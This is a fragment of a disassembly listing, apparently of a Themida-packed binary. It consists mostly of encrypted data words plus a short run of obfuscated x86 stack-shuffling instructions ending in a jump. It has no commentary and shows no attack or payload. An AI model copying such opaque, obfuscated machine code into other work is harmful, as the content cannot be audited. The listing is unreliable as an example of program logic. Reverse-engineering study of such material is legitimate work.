		dd 0FE78EAC1h, 0DC4EAC12h, 27997054h, 0ED82D32Ch, 2E840FCEh
		dd 0ED53B9BCh, 750C6416h, 9435A9A1h, 6349CCA9h,	9B030375h
		dd 14CB663Dh, 569CC838h, 291783FEh, 0C837DA8Eh,	664CA9Ch
		dd 81F7DA28h, 0A9E09h, 5DB00000h, 1981E831h, 0DDC8263Ah
		dd 8D6448CCh, 0C3B1151Bh, 38863AD5h, 86E9CC8h, 37CB7F1Ah
		dd 55BB9CC8h, 0FC5420F7h, 29959185h, 4269A888h,	7A62E254h
		dd 4932E1Ch, 0F296E0EAh, 0CD43B58Ch, 0D84A38D9h, 9F116F5Dh
		dd 705E35A9h, 0C19804FEh, 0A862FD5Bh, 0B2A2B065h, 79EF275Ah
		dd 0FC72E485h, 49BF3108h, 8DFC349h, 0C83430A2h,	37258BF1h
		dd 835A4EC5h, 19E8BF1Dh, 0D056C0C1h, 1F6D4BECh,	7E0F6A25h
		dd 0E48DB42Bh, 2886FBFBh, 1519Fh, 0C73FB100h, 3C9A00D7h
		dd 0F81F5E51h, 932E1C0Ah, 9CC837DFh, 680361C7h,	96E016F1h
		dd 44B20E61h, 56E727BEh, 0F4FAE403h, 349AD2EFh,	0F965EB5Dh
		dd 0B0A5AA5Eh, 0CE349AA2h, 4F86EE0h, 9D9305A6h,	6AE05229h
		dd 78D09F76h, 0A3070D09h, 0AEA21402h, 87F95F36h, 0E44A218Dh
		dd 655AA886h, 4A1E0F6Ah, 33000000h, 0EFC1B5Eh, 0C837AF73h
		dd 8371D79Ch, 4DAB1711h, 3827DB76h, 89779CC8h, 0D5AC1017h
		dd 0C8B9116Fh, 907E9DE0h, 0E3304FA2h, 0F1614C40h, 1534F893h
		dd 11649CC9h, 0F436D2FEh, 46D62929h, 953E0A11h,	9C50F157h
		dd 0A6h, 0B1F5EB1h, 2BE443B4h, 2F0566Ah, 0E1C84067h, 9168CE96h
		dd 14B5291Fh, 242CACA2h, 0E54BB1B4h, 3007FF73h,	9F8D64CAh
		dd 0B6216B1h, 0EC52A2B1h, 0AAF63FEh, 3197A2B1h,	0A7B38D3h
		dd 0A391A2B1h, 0F4CB3731h, 0A9D8308Eh, 6203E76Dh, 2E1C4382h
		dd 0C2C82D93h, 45C1339Ch, 0CD33FB59h, 1AB508F6h, 0B064FFB6h
		dd 989CCF5Dh, 475FDF32h, 0DA50C220h, 8F86F8E6h,	41A71B11h
		dd 969A0CE3h, 62E5572Eh, 0F554A77Eh, 67128369h,	0E73CB2Bh
		dd 91F04814h, 0C3B1D817h, 0E1D2C228h, 3E59AC96h, 2CFF8638h
		dd 82E8B00Eh, 1F5EF6E1h, 20866AECh, 554BC032h, 0CCBA187Eh
		dd 0C4378BDEh, 88B9FF63h, 27298F2Ah, 0F75D96DAh, 44B8AE20h
		dd 0BB3B31A3h, 177D54B8h, 7A3FDAB1h, 0DC8E3B4Ch, 1319FD84h
		dd 969C0EAFh, 6FE95B32h, 3A11FD77h, 0E806ED4h, 69CFA616h
		dd 1068340Bh, 2FAFA571h, 8AF0C737h, 1B118324h, 31CD0A7h
		dd 31000000h, 45CC8F7Ah, 1016885Fh, 0E063D5ACh,	0BCB325FCh
		dd 0BFF7148h, 0C64ABC93h, 939507DEh, 6EE6582Fh,	3035A77Eh
		dd 6873F5CCh, 3FD9h, 52240C89h,	0C281E289h, 4, 8704EA83h
		dd 895C2414h, 0AE682434h, 89000066h, 3682414h, 89000032h
		dd 9ABB241Ch, 0BE65A90Ah, 0A0463825h, 685BDE01h, 282Ch
		dd 83242489h, 5A042404h, 4EC81h, 34890000h, 24348124h
		dd 34125439h, 8108428Fh, 54390872h, 34FF3412h, 0C4815A24h
		dd 4, 5E2434FFh, 4C481h, 0F3E90000h, 2FFF936h, 4736B8EFh
		dd 0C50305EFh, 9A2AE0FFh, 9AED61B5h, 4FAF04AFh,	52B4516Bh
		dd 3D63F21h, 0DF243C4Eh, 4EB64DAh, 6F963E40h, 4FDE9h, 3BA1A800h
		dd 0BF2D289Ah, 44A8AC1Eh, 0CB3731A3h, 4CB0B82Ah, 7B30ECABh
		dd 0FC6E0FF7h, 7EF09177h, 4761785h, 95F99A0Eh, 7F580CA7h
		dd 7E40A2B7h, 6246CC93h, 37EB8674h, 1F9CC838h, 8F0566B9h
		dd 0E725EE8Bh, 0C840B289h, 4BC133D4h, 180E8057h, 0DA5BCDA4h
		dd 0DBB104F2h, 0A9915B68h, 0E19970CEh, 4FA2F889h, 8142E70Eh
		dd 0C64ABC2Fh, 43A107DEh, 0C6675BD1h, 0FDEF66D8h, 0C62A2D9Fh
		dd 4CB0B325h, 980C0375h, 0E49DF5C1h, 2ACB3132h,	774EB2B8h
		dd 0C85625DCh, 7011699Ch, 8215EC3Ah, 79B009h, 0CCC50000h
		dd 0F08B6246h, 9CC83836h, 3B5F227Ah, 98D0C8E8h,	63C1388Ch
		dd 828A3785h, 1FB09h, 0CC100000h, 0EEDE5749h, 5D4BB117h
		dd 604A510Ah, 0BC22F9E7h, 392C4469h, 939204DBh,	76645229h
		dd 0C90827DBh, 4BA90F9Ch, 9C735FD9h, 21F58CE4h,	2917B824h
		dd 624EC93Bh, 0D68A258Bh, 0BE9CC907h, 7D6FE658h, 70E240A6h
		dd 8F75FAFAh, 0DBC146B8h, 0AF210F75h, 96F46B6h,	0CC1F0AABh
		dd 726044h, 5F369408h, 40231E71h, 7CD31FADh, 43A9AC1Eh
		dd 6F63E355h, 45A309F5h, 3FB19F6Eh, 96FCD3CBh, 0C1590DA8h
		dd 0DB419CC8h, 0BA5C257Dh, 3BAD4EB6h, 88FAD135h, 0D749208Ch
		dd 0A9976E5Eh, 0C8C15A0Eh, 72E44A9Ch, 0D3330AF2h, 6B1C067Bh
		dd 0DE3C6E13h, 0A209827Ah, 97h,	0DAC242B4h, 543F9D03h
		dd 726044CCh, 3C9A0600h, 0F3247765h, 633B21B3h,	6AD0343Ch
		dd 329A9A0Ch, 7D61E95Bh, 0CE3234A6h, 94ED45F7h,	40178D82h
		dd 64BC74DAh, 8D71F91Dh, 0EF67AECh, 5F43C537h, 96E9D788h
		dd 0ED8863DDh, 9CC85339h, 4B68BB21h, 50A8065Bh,	0C81B7931h
		dd 5CDF0982h, 0F4000000h, 726044CCh, 0BD940800h, 0B022F957h
		dd 7249B7h, 4CBE950Bh, 5C0EE5CBh, 0F3A57D04h, 3830E69Bh
		dd 0EB51BFB8h, 0D36E5C4Ah, 9CC8381Fh, 5B63B407h, 8E6F51B1h
		dd 50DFCA28h, 167468DEh, 18B3A1A4h, 9CC83864h, 0B188EE54h
		dd 0C8385F16h, 364BA39Ch, 81F72674h, 1EA09h, 0CCFF0000h
		dd 0F0DC5848h, 764DB319h, 0C39A0E04h, 34E29FF7h, 4B2BCC30h
		dd 5CF7E50Ch, 96E0E9CDh, 6B5947ADh, 0B0661CD0h,	0B8A60CA2h
		dd 0B066691Dh, 8DEB51A2h, 0DACE44B6h, 5D41C739h, 6631EB86h
		dd 0FB7BA2B0h, 4ACA3C13h, 7BD38B62h, 126A1C06h,	0B5A1A76Fh
		dd 0B066661Ah, 95E84EA2h, 0EBB1BA61h, 11B218EAh, 773ED023h
		dd 5B4B2276h, 21858BFDh, 6E52D84Ah, 1170C897h, 0FA9B0F05h
		dd 30949A0Ch, 6CA0F359h, 0CCA5A4D7h, 96E4C220h,	5A0F6A37h
		dd 0FCh, 2FE37E6Ch, 17A2B06Ch, 5E6853B1h, 6F0AF81Fh, 96E016F8h
		dd 6359CE40h, 0D73D05h,	8324988Eh, 0D0A71B11h, 3DFD8FE2h
		dd 0EB29BE35h, 0A5151B8Dh, 1673EA2h, 7F5C49Bh, 8A580AB4h
		dd 604EAA37h, 0B04A11C5h, 3593F9A2h, 0FC72A4DDh, 7796708h
		dd 64CAA10Dh, 9DA2806h,	319E0F6Ah, 0B0000000h, 46CCC43Eh
		dd 0BF258B62h, 1B5E7661h, 0AF730EFCh, 0D79CC837h, 4BFF9A71h
		dd 0A39CC838h, 2F72364Bh, 0BB7F1A08h, 8B9CC837h, 6DD08425h
		dd 0E5000000h, 0AF81F5Eh, 0E0E6486Fh, 7A29096h,	0A2B06953h
		dd 68CE821Dh, 50B6A2B0h, 0AA121688h, 0A9076DD3h, 24A0F3E1h
		dd 11CF6C75h, 643BEF8Ah, 0C52BA2B0h, 1016885Fh,	93990BACh
		dd 0BD582Fh, 0CA2B063h,	0C349CDB4h, 1F5E3EDFh, 266F0AF8h
		dd 589CC1FCh, 0A3A91BF2h, 449C683Fh, 0F92C6B3Dh, 1A8E847Ch
		dd 0C5604EB4h, 96E13B7Ch, 0D8C364CAh, 7567DE50h, 0FADA389Eh
		dd 0BA694BBh, 96D9D0C2h, 52402E94h, 0B77F03B7h,	2F8DF3A2h
		dd 7C60E658h, 8DFFEDDBh, 0D78B268Ah, 0BFA2B77Eh, 8389FB59h
		dd 0C02A3032h, 46A78D7h, 88CC922Dh, 30883043h, 5B4FC551h
		dd 0A39A1A6Dh, 9E72D3E6h, 72D036A6h, 0F5E95FD1h, 46AAAC1Eh
		dd 364BA36Fh, 0EA6A6AE0h, 5FC52B02h, 0EA7DD0BEh, 3261BA98h
		dd 46CC3E9Ch, 0B093CF75h, 0C7249B7h, 0FFBC82B9h, 0CFC27611h
		dd 4CB20C5Eh, 35B0FE6h,	70000000h, 45CC8F7Ah, 1016885Fh
		dd 0E063D5ACh, 0BCB325FCh, 0BFF7148h, 0C64ABC93h, 939507DEh
		dd 6EE6582Fh, 3035A77Eh, 5073F5CCh, 405E089h, 2D000000h
		dd 4, 5C240487h, 56240C89h, 0C681E689h,	4, 4EE81h, 34870000h
		dd 4895C24h, 65416824h,	0C890000h, 0B1BA5224h, 0B815ED50h
		dd 0F001F72Bh, 0D72D5E2Dh, 5D00151h, 51D72D5Eh,	0C8B545Ah
		dd 4C48124h, 53000000h,	8BBh, 5C38100h,	13DF930h, 5EB81CBh
		dd 893DF930h, 34FF5B03h, 0C4815924h, 4,	582434FFh, 0E904C483h
		dd 0FFF931D2h, 0AEE30CCBh, 2E065E78h, 4EB8B016h, 305EF4Ch
		dd 40E0FFC5h, 0C63255DDh, 0E6001E3Fh, 2F5C452Dh, 4628A104h
		dd 0B470E520h, 3F3494FFh, 6E34BFEAh, 50B50F8h, 621F15C6h
		dd 0CF149F4Ah, 446C0FD0h, 4D2AD702h, 8D186EC8h,	0EF4DCD8Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5F0A5340h, 866D22E8h, 890F7421h,	6, 19A9BD8Bh
		dd 8D8905E8h, 5E8159Dh,	0A81ABA66h, 17199D89h, 85C705E8h
		dd 5E80705h, 6CB4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0F5C35646h, 0D97C35A6h, 0A6185C7h, 5E8h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8BAB3EC3h, 0E8119185h, 0D9B5FF05h, 0B805E821h
		dd 3077DC1Fh, 81595FFh,	6AF805E8h, 0F995FF00h, 8B05E820h
		dd 9B3BEBC0h, 0C189B2B4h, 0D93419DBh, 14536AE2h, 70B97194h
		dd 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 998BDA07h,	20B77436h
		dd 4443E44Fh, 61DBBF1h,	653E1D23h, 65AEE617h, 95C81447h
		dd 6E89F83h, 0AB000000h, 45839B0Bh, 59F78A0Dh, 840Fh, 0C1810000h
		dd 715Bh, 2B79B529h, 0B805E8h, 0B000000h, 0E81119BDh, 11C8B05h
		dd 0A5958952h, 5E05E809h, 9BC8F381h, 958B4A18h,	5E81961h
		dd 5ECFEB81h, 14E96BABh
		dd 44000000h, 887ECE7Dh, 0F38389B4h, 0CFD19C19h, 135270BDh
		dd 8100A4E7h, 42ECAAF3h, 8E8603Dh, 0DC000000h, 3901F18Ah
		dd 6005FE37h, 830F5E61h, 1, 1C8961F8h, 0BD8BFC01h, 5E8067Dh
		dd 0BADAE881h, 5E802D8h, 3B000000h, 0F5EF056Dh,	2DD99D89h
		dd 815F05E8h, 0D8BAD6C0h, 9E802h, 0F1E80000h, 730BE397h
		dd 0E90FCF53h, 13h, 0C2FDBE24h,	6B005FF2h, 30EFDA33h, 1837832Dh
		dd 5E15FB7Ah, 8FB4F881h, 850FFFFFh, 24h, 13E9h,	0DD9CC500h
		dd 0D5FC907Bh, 1CC3BD48h, 6096B030h, 22FCC79Fh,	21E9h
		dd 8F2BC300h, 7613135Eh, 0B1D8D31h, 22E905E8h, 0B4FFFFFFh
		dd 57A32A73h, 6AD6022Ch, 0B7DBA78Fh, 10EB50D1h,	4 dup(0)
aLS		db '‹Àé',8,0
		db 2 dup(0), 0FEh
		dd 509D0A59h, 83E23AA6h, 0E80E89BDh, 9750005h, 0BE9BD83h
		dd 740005E8h, 8B535019h, 42DB8C0h, 85890000h, 5E8111Dh
		dd 0A94E9D8Dh, 0D3FF05EAh, 0BD83585Bh, 5E80BE9h, 50177400h
		dd 42DB853h, 85890000h,	5E8111Dh, 0A63D9D8Dh, 0D3FF05EAh
		dd 8589585Bh, 5E81F21h,	32958589h, 0C08B05E8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 82C35343h, 85B58B4Fh
		dd 8B05E829h, 0E82E358Dh, 15950105h, 0F505E803h, 0F00F983h
		dd 8484h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 68A5A625h, 81B04C59h, 0DDBCA6C6h
		dd 3D8B6413h, 2Ch, 0C8B0Fh, 820F0000h, 6, 2645B523h, 0FF0B05E8h
		dd 3B840Fh, 8B660000h, 0F3F8BD1h, 489h,	98BA6600h, 818D314Ah
		dd 3205E80Dh, 14E9C0h, 0FFBA0000h, 0AFA24D1Ah, 0DB0685F3h
		dd 710FFBC4h, 7CA11C22h, 0BF0F1805h, 89AAF3F6h,	0E812B18Dh
		dd 41493505h, 9E95350h,	62000000h, 0D0B5E888h, 492BD531h
		dd 30AD9529h, 85C605E8h, 5E82015h, 0E9BD8947h, 6805E82Ah
		dd 9FB26ED9h, 2752BE66h, 53240481h, 6A3D2419h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0E4C2C357h, 0B16FB8D4h, 0B5FF726Bh, 5E80CA9h, 3B23DA81h
		dd 858D0089h, 5EB7B30h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0B6C35242h, 8B0D83A3h, 0E82E8595h, 0F6F68105h
		dd 0FF57F5A1h, 0F78B66D0h, 2F4D8589h, 8B5205E8h, 0E83335B5h
		dd 85C65A05h, 5E82015h,	49CA8153h, 68017150h, 4BC66AE9h
		dd 13240481h, 6A3CD200h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0FA6DC355h,	0F1BF0FADh
		dd 0CA9B5FFh, 0B58B05E8h, 5E82635h, 2569B58Bh, 858D05E8h
		dd 5EB7B30h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	3BC35242h, 884DF861h, 79BAD0FFh, 8D536051h, 0EB385F85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0A6B2EBBBh, 0D08B8C34h, 21A98589h, 6A05E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BE465C3h, 0E81A6195h, 6A206A05h, 0A995FFFFh, 3505E821h
		dd 53504149h, 12D585C7h, 105E8h, 85C70000h, 5E80845h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A4C35646h
		dd 302DB757h, 8166E95Bh, 830190E2h, 0E80835BDh,	840F0005h
		dd 52h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 31C35141h, 1F9D858Bh, 8D8905E8h, 5E82F1Dh, 0A364h, 13E90000h
		dd 91000000h, 1AC393E0h, 6BD0AF09h, 27F4963h, 0B903EEB7h
		dd 858B8842h, 5E80829h,	80E08BF8h, 0BD8304EEh, 5E813DDh
		dd 21850F00h, 81000004h, 0E249FDF2h, 1585C67Ch,	5605E820h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FEC35343h
		dd 303DC193h, 5DB5334Bh, 6805E82Fh, 67C168EEh, 0F38B5250h
		dd 820F310Fh, 3, 5AD68B66h, 24048158h, 4203C7F1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DCC35747h, 0E5853077h
		dd 320D8589h, 0B5FF05E8h, 5E80CA9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0D2C35040h,	7B30858Dh, 9E805EBh
		dd 43000000h, 84E1AD24h, 1E77AA86h, 0CE8h, 54E63D00h, 0E2D64AB0h
		dd 89E84C91h, 49B58BBFh, 5E05E824h, 8BD0FF5Eh, 0E82E9595h
		dd 0F48A5005h, 0E8240489h, 9, 968ACBAEh, 532820BAh, 0D08B6652h
		dd 4995895Eh, 8D05E815h, 0E819718Dh, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8B8D3844h
		dd 516050F2h, 0E9586160h, 0Ah, 39CF2DC4h, 0B77F2485h, 89613BC5h
		dd 8B66240Ch, 5E9D1h, 6EC50000h, 6AD91AF3h, 0D2816604h
		dd 2B68E83Fh, 0E997F8E4h, 0Ah, 0BD181080h, 39CD7813h, 481BA6Bh
		dd 72BD524h, 0A5B58B68h, 0FF05E819h, 0E814F9B5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 38E0FAFh, 80000000h,	0D0FF69E2h, 14F9BD8Bh, 0BE6605E8h
		dd 0B58912CDh, 5E81999h, 313C7F03h, 0E80839BDh,	4860F05h
		dd 66000000h, 813F4CBEh, 0F8C7h, 0BE5A5100h, 1EADC4Bh
		dd 202447C7h, 66600000h, 302BEE81h, 4F27BD83h, 0F0005EFh
		dd 1A084h, 0C8B0F00h, 0F000000h, 681h, 0A58D2900h, 8305E812h
		dd 13E928C7h, 67000000h, 7663E2A8h, 0B158E376h,	7877B49Eh
		dd 8D1D00A1h, 7C763F3h,	64696A2Eh, 70D9589h, 47C705E8h
		dd 61746104h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 128CDA3Eh, 545CB6Fh, 65BD2977h, 8B05E80Ah
		dd 0E82E4995h, 2F858B05h, 6A05EF4Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 433DC355h
		dd 6656AAAFh, 896049BEh, 6A0C47h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 1F467C3h, 0AF402B26h
		dd 858BF6E1h, 5EF4F33h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0EFC35646h, 8131E475h, 1205DE8Bh, 847890Eh
		dd 1BA1B523h, 0C78305E8h, 50006A28h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 72CA8E59h
		dd 14E828h, 0E8520000h,	4FF08E1Fh, 6BA8B6B4h, 0E887DA5Bh
		dd 0DCBA1AFAh, 1BBE37D3h, 5A5BEE44h, 632E07C7h,	8E0F6E6Fh
		dd 5, 3D5CA6BAh, 447C77Ch, 676966h, 8BF7BF0Fh, 0EF4F2B85h
		dd 0A99D8905h, 8905E823h, 6A0C47h, 3E851h, 59200000h
		db 0C3h, 59h, 89h
byte_5B6EF7	db 4Ch			; DATA XREF: Themida_:0055D194o
		dd 44810424h, 1A0424h, 51410000h, 0BA291C3h, 9FF202F0h
		dd 2D55BD09h, 858B05E8h, 5EF4F27h, 6810Fh, 9D290000h, 5E81B51h
		dd 0B2084789h, 800F5846h, 5, 1E38ABEh, 0E98D8D29h, 8905E812h
		dd 0E80F7985h, 0C895005h, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 98D6C09Ah
		dd 8B706C05h, 0AF98589h, 0B5FF05E8h, 5E81971h, 0DE9h, 6027C00h
		dd 4118C4DAh, 8E37490Bh, 5D68F258h, 667AE809h, 3481F08Bh
		dd 0E8195D24h, 0F7BF0F7Ah, 14F9B5FFh, 6A05E8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0B40654C3h, 0C37877Fh, 31918D89h, 0D0FF05E8h, 30E18D29h
		dd 0BD3105E8h, 5E822EDh, 0B8h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9BA1F543h
		dd 0EE8h, 4795E400h, 1C2337C4h,	0A86B1790h, 0BE239EC6h
		dd 4EAC853Ch, 0FC00B5Eh, 6184h,	55B50B00h, 0FF05E827h
		dd 0E80C65B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 5CCE6B4Dh, 0ED6F24F5h
		dd 0FE9h, 257BF000h, 6C107479h,	0DB0F05CDh, 9ADCB35Fh
		dd 81595FFh, 0E9F905E8h, 12h, 0A46D0876h, 0DEE5EC96h, 3D8926BFh
		dd 267F0D88h, 0C08B15C9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0D6C35646h, 0F5A39068h, 0BE665501h, 0BD8391B8h
		dd 5E80E89h, 83097500h,	0E80BE9BDh, 19740005h, 0C08B5350h
		dd 42DB8h, 0F9858900h, 8D05E81Ah, 0EAA9B59Dh, 5BD3FF05h
		dd 0E9BD8358h, 5E80Bh, 53501774h, 42DB8h, 0F9858900h, 8D05E81Ah
		dd 0EAA6569Dh, 5BD3FF05h, 8A9FB258h, 8BC08BF5h,	0E808E995h
		dd 0EBC08B05h, 0D8456B04h, 5A1E959h, 0ACA50000h, 20259738h
		dd 0ADA91BBCh, 342EA041h, 0BDB527C8h, 35E9A849h, 6B0CF078h
		dd 0ED8E72F9h, 7314F87Bh, 0F6970B01h, 5509A492h, 45A2B78Fh
		dd 46CC9883h, 14867462h, 5C10AB11h, 4C9CC838h, 0BF174E6h
		dd 0EC64D6ADh, 0AC8369ECh, 0CD3FE046h, 0F0DC5747h, 764DB319h
		dd 4BFF9A88h, 3B9CC838h, 0F0577D5h, 0D352C49Bh,	25A12E9h
		dd 2D91977Fh, 0B3191A8Ch, 39A7A012h, 857BF062h,	0D1373CAEh
		dd 348F88FAh, 9835EFE7h, 0C89F0572h, 0B1711068h, 4A4F7E5h
		dd 104C54E7h, 3E439BF9h, 0D0715FD8h, 6EE8E85Eh,	340BF176h
		dd 140268CEh, 584563C1h, 0C93709BDh, 388BF19Ch,	8FE2E3AFh
		dd 0FAC9B189h, 623997BFh, 0C84910C7h, 87FA529Ch, 37ABA113h
		dd 0BE9CFA60h, 9820870h, 9246E1CFh, 0D89CC83Ch,	3EA46C50h
		dd 9857E0h, 506C0000h, 70B0F62h, 13197A47h, 0C87CC478h
		dd 0F04EB49Ch, 2614887Eh, 249A94D3h, 63C19784h,	6337F18Ch
		dd 237B9CC8h, 21FE4C5Eh, 1C20982h, 0D7000000h, 756349CCh
		dd 3838EC87h, 0AE209CC8h, 81DF45B7h, 0CF3D38AAh, 208C86F8h
		dd 564AC032h, 0E4BB197Fh, 6FEF272h, 0F359BF96h,	36AAAA1Ch
		dd 90F6CD3Fh, 2C84532Ah, 0BD15CD55h, 0E9D352C4h, 77BA0DFBh
		dd 7B2CC14Dh, 0F02B651h, 9FF29CC9h, 0EC49C6C9h,	0E83BA1A8h
		dd 0F11AFE4Ah, 2DCE2CFFh, 6351B5BBh, 2C8A76F1h,	44CCA08Bh
		dd 0A007260h, 0FB59BF96h, 49B3B224h, 0E1A1085Bh, 747C0BEFh
		dd 48CD3F16h, 151B8D64h, 227ADAB1h, 50BCB75Fh, 0BEC31BEAh
		dd 1FFD058h, 89329125h,	3A28C92Fh, 855C40C8h, 0D94FC11Fh
		dd 989C0EE5h, 54AC5D34h, 7AFB6D2Dh, 0F8563492h,	0BC0982A5h
		dd 7Dh,	6044CCD1h, 0AF1F1789h, 0B9C820D8h, 61E5D55Dh, 0DA40A67Dh
		dd 5B43C739h, 0DA89684h, 9CC83859h, 0B7DDB41h, 339F9909h
		dd 0B990F65Ch, 0D9D1B008h, 981F17Bh, 713Fh, 44CC5400h
		dd 1C178960h, 3927D9B0h, 37FCB04Bh, 86EC9CC8h, 3849FD98h
		dd 0CB319CC8h, 2E6C156Dh, 3B75240h, 0F39CC838h,	383EF28Dh
		dd 0FB7C9CC8h, 10D83E15h, 56DA4CAAh, 6DDFCD6Eh,	0BA2C03E7h
		dd 90EE54B8h, 6349CCA5h, 15B09E8Ch, 9CC83861h, 0F771E349h
		dd 70CE340Bh, 0C8381ED5h, 72609Ch, 59BF960Ah, 0CCDEA3FBh
		dd 981F77Eh, 142h, 48CC5700h, 151B8D64h, 200EDAB1h, 566206CDh
		dd 0A6048F49h, 63E3334Eh, 0BBFADA7Bh, 7C0BA694h, 3496E16Bh
		dd 6B51D446h, 0DF932E94h, 0C7A2B0E6h, 0D53B0361h, 700BF9E7h
		dd 0A2B0E6BCh, 0F7AB46ACh, 0DFA2B0E6h, 0D2441B79h, 55C7685Ch
		dd 7965DFDFh, 0FFD63CA2h, 38A49F11h, 29DFB61h, 0A2B0E748h
		dd 51289C92h, 0E86D65DFh, 67C79E04h, 5CC3720Fh,	0A8E7FC41h
		dd 328A3CA2h, 5D41C74Fh, 8979FD6Fh, 0E1471E82h,	0A7C1D7Bh
		dd 57C9A004h, 4716EDD1h, 8E8492EFh, 0A7D92C1Ah,	421DEF82h
		dd 0A9171082h, 4ABCAA4Bh, 0A381DFC5h, 0F6AF555h, 14F19h
		dd 6FD82B00h, 4DF73580h, 5E2B1674h, 21D5701Fh, 99CC838h
		dd 0C63A31A3h, 352389EFh, 0E017239Ah, 0AAA11396h, 0E7BE262Ah
		dd 0DE441B81h, 392FA178h, 0AB84D7C5h, 0D35EE97Ah, 4634D533h
		dd 0F96B51D4h, 0C234927Eh, 9381584Ch, 0DEB52921h, 0A2A81A78h
		dd 0BBBB3D32h, 0B0167C53h, 701734Ah, 0DE52C49Bh, 0E8400FE6h
		dd 12F67D99h, 0FC85DDACh, 0FB0141Ah, 6A22E331h,	43A70Fh
		dd 0CBB90000h, 0B0577C30h, 0A8066CA2h, 741B5EBDh, 0C83825D9h
		dd 49AF159Ch, 37FCC05Bh, 0E64C9CC8h, 37C0740Fh,	0B8109CC8h
		dd 7D9CDFC9h, 3830F48Fh, 0F2589CC8h, 1F919204h,	79DFB626h
		dd 6014B513h, 94h, 0F81F5E75h, 0E6486F0Ah, 44B696E0h, 9B01D8CCh
		dd 0A8F44735h, 5FF1E899h, 0E5572E8Ch, 68DA7B6Fh, 7F71F2E2h
		dd 4DB31985h, 0DE1EDB76h, 352EA2B0h, 0A45DD4DAh, 0BF25E1D8h
		dd 0EFE76E8h, 5A4EC537h, 0D74B368Eh, 41C53725h,	11E8D451h
		dd 86E45ABh, 0CC2A9296h, 3090D74h, 0DF1EFE9Fh, 0D258CAB8h
		dd 53B117EEh, 3D82CA65h, 6CD29CC2h, 0AD2D2395h,	0F3E147ABh
		dd 0C5414FA0h, 8DEB205Eh, 0EF92EAB6h, 65537AB9h, 0B58C70F3h
		dd 6803F14Fh, 96E17C20h, 7E690A70h, 210B1F5Eh, 873BD645h
		dd 6F9CC8EFh, 7651B609h, 0F1DB5ACCh, 604EB41Ah,	0DAD27DC5h
		dd 9067CD96h, 13B4281Eh, 6037ABA1h, 0C479C5h, 879D13Eh
		dd 0B6A4180Eh, 5DCC044h, 562D9193h, 8B2C8AF0h, 0D8AF1319h
		dd 2900EC66h, 1E7C055Dh, 0F4E19530h, 76C9F6A0h,	0CB459CBBh
		dd 0B4127869h, 0EAD8CC42h, 0DB699797h, 0D8C6AC89h, 0A108893Dh
		dd 0AD0B71F6h, 30949A0Ch, 3A559h, 7ABA0000h, 5F45CC8Fh
		dd 0AC101688h, 0FCE063D5h, 48BCB325h, 930BFF71h, 0DEC64ABCh
		dd 2F939507h, 7E6EE658h, 0CC3035A7h
		db 0F5h, 73h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	5EF57D9h
		mov	edx, [esp]
		add	esp, 4
		push	782h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [eax+8]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		align 4
		dd 36599269h, 0E0F31C34h, 0B8EA7025h, 5EF5CF9h,	0E0FFC503h
		dd 4121777Ah, 44B490F7h, 6C09813Fh, 22C85DCBh, 16124FF5h
		dd 29EFC139h, 2FAD4703h, 6AF790F2h, 5912F936h, 5E8F8D8Dh
		dd 6A05EFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
